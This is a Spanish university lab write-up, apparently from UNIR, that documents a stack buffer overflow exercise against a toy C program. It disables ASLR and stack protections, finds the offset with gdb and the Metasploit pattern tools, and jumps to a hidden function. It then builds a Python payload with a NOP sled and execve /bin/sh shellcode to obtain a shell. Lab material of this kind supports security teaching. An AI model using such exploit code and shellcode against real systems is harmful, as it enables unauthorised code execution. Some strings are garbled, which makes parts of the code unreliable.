Está en la página 1de 9

Asignatura Datos del alumno Fecha

Actividades

Actividad: Realizar ataque de desbordamiento de buffer


Desbordamiento de bufer: Es un error de software, el cual se produce en el
programa al no controlar la cantidad de datos que se copian en el área de memoria que
es reservada, por lo cual, si es superior la capacidad preasignada, lo bytes que sobran se
almacenan en la zona de memoria adyacente, y sobrescribir en su contenido original, de
datos o códigos almacenados en memoria. Constituyendo esto un fallo de
programación.

Primera parte de la actividad: Conseguir acceder a la función


premio()

Primero se escribe el código del reto.c

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

Se deberá deshabilitar la aleatoriedad de disposición de espacios en la memoria, con la


finalidad de obtener la dirección de la memoria donde existe error al ejecutar el código,
y así poder explotar la vulnerabilidad.

1.- ejecutar el comando


cat /proc/sys/kernel/randomize_va_space
su valor es 2 par deshabilitar el ASLR es el comando
echo 0 > /proc/sys/kernel/randomize_va_space

el valor de ASLR es de 0

2.- se ejecuta el código reto.c

Argumentos a utilizar en esta actividad son:

gcc Compilador
-z execstack Poder ejecutar código en la pila
-fno-stack-protector Desactivar la protección de la pila y poder sobrescribir la pila.
-mpreferred-stack- Intento de mantener la pila alineada a este power de 2 (4 para
boundary=2 sistemas de 64 bits)
-g Incluye en el ejecutable generado la información necesaria para
poder rastrear los errores usando un depurador, tal como GDB
(GNU Debugger).
reto.c Input. Indicar el nombre del programa fuente
-o reto Output. Escoger el nombre del ejecutable que produce el
compilador
Arch Nos muestra de cuantos bits es nuestra maquina x86_64

3.- Ejecutamos el código:


gcc -g -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o
reto reto.c

4.- Usamos herramienta llamada debugger (gdb)


Gbd ./reto

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

Debugger (gdb) funciones de esta herramienta

Gdb Debugger
run Manda la ejecución del programa cargado por el debugger. Permite
introducir los parámetros o entradas al programa
Ejemplo: run `python -c ‘print “A” * 180 ‘`
list Permite ver el código fuente del programa que se está ejecutando
(siempre y cuando está disponible)
break Señala un breakpoint de la ejecución
Ejemplos: break 6 (breakpoint in línea 6);
b main (breackpoint en la función main)
clear Limpia todos los breakpoint definidos
info Permite visualizar información sobre el estado del programa.
A este comando se le necesita añadir qué es lo que se desea ver,
ejemplos:
info registers
Para ver todas las opciones teclear solo info
eXamine Permite examinar posiciones de memoria a partir de una posición origen
Ejemplo: x/40x $rsp (examina las siguientes 40 posiciones hexadecimales
a partir de lo que apunta $rsp). En este ejemplo se está usando rsp por
ser 64 bits, si fuera 32 bits sería esp
disas Desensambla el código y nos muestra las direcciones físicas relacionadas
con el mismo. Se le debe indicar que función.
Ejemplo: disas premio

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

Desbordamiento (overflow)

Para calcular el tamaño de la cadena se realiza el siguiente comando:


run $(python -c 'print " A " * 100 ')
A= carácter a repetir
100= el número de veces, podemos variar el valor de la cadena de 10 en 10 o de 2 en 2 a
partir de 100

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

Podemos observar el contenido de los registros con ejecutar el comando:


info registers
donde para 64 bits son:
RBP, RSP e RIP

Con la finalidad de conocer la longitud de la cadena utilizamos la herramienta de


creación de cadenas alfanuméricas que contiene kali y poder provocar el overflow,
En una terminal ejecutamos para acceder al directorio

/usr/share/metasploit-framework/tools/exploit
En seguida ejecutamos:
./pattern_create.rb -l 130
genera una cadena alfanumérica con longitud de 130 de caracteres
Copiamos la cadena generada y ejecutamos con el comando run en debbuger (gdb).

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

copiaremos el número decimal correspondiente a la dirección de memoria que ocasionó


el error y regresaremos a la segunda ventana de la consola y se genera el comando:
./pattern_offset.rb -q 41306541 -l 130
Para calcular la longitud de la cadena que necesitamos es –q 41306541 este es el
parámetro y la dirección de la memoria de la excepción causada
-l 130 es la longitud de la cadena.
Con esto sabemos que la longitud del tamaño de la cadena es de 120 para provocar el
overflow
Ejecutamos la función premio en la consola del budegger insertando el comando:
disas premio

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

Observamos la instrucción de push %rbp ya que es la dirección que vamos a convertir


en formato hexadecimal cambiando la dirección original leyéndola de derecha a
izquierda
Queda asi:
\x55\x51\x55\x55\x55\x55

En la consola debugger (gdb) utilizamos el comando python a fin de ejecutar el


overflow quedando así:
run $( python -c 'print "A" * 120 + "\x55\x51\x55\x55\x55\x55" ' )
run permite llamar al intérprete de comando
el ejecutable de Python permite imprimir el carácter las 120 veces
la concatenación de la cadena de la dirección de la memoria little endian y hexadecimal

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

Con esto se ha alterado el flojo del Programa con la rutina llamada dentro del programa

La obtención de la línea de comandos (Shell)


La línea del comando Shell es un scrip con ayuda de Python a fin de obtener un
ejecutable en un archivo llamado Shell.py el cual generamos en la consola con gnu nano

#!/usr/bin/python
nops = '\x90' * 64
shellCode = (
' \x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69 ' +
' \x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05 '
)
relleno = 'A' * ( 130 - 64 - 29)
eip = '\x50\xe2\xff\xff\xff\x7f '
print nops + shellCode + relleno + eip

observamos que el archivo creado Shell.py no tiene los privilegios de ejecución

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha

Utilizamos el comando chmod +x shell.py dándolo privilegios de ejecución

Ejecutamos en gdb debugger nuestro archivo Shell.py


run$(./shell.py)

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)

También podría gustarte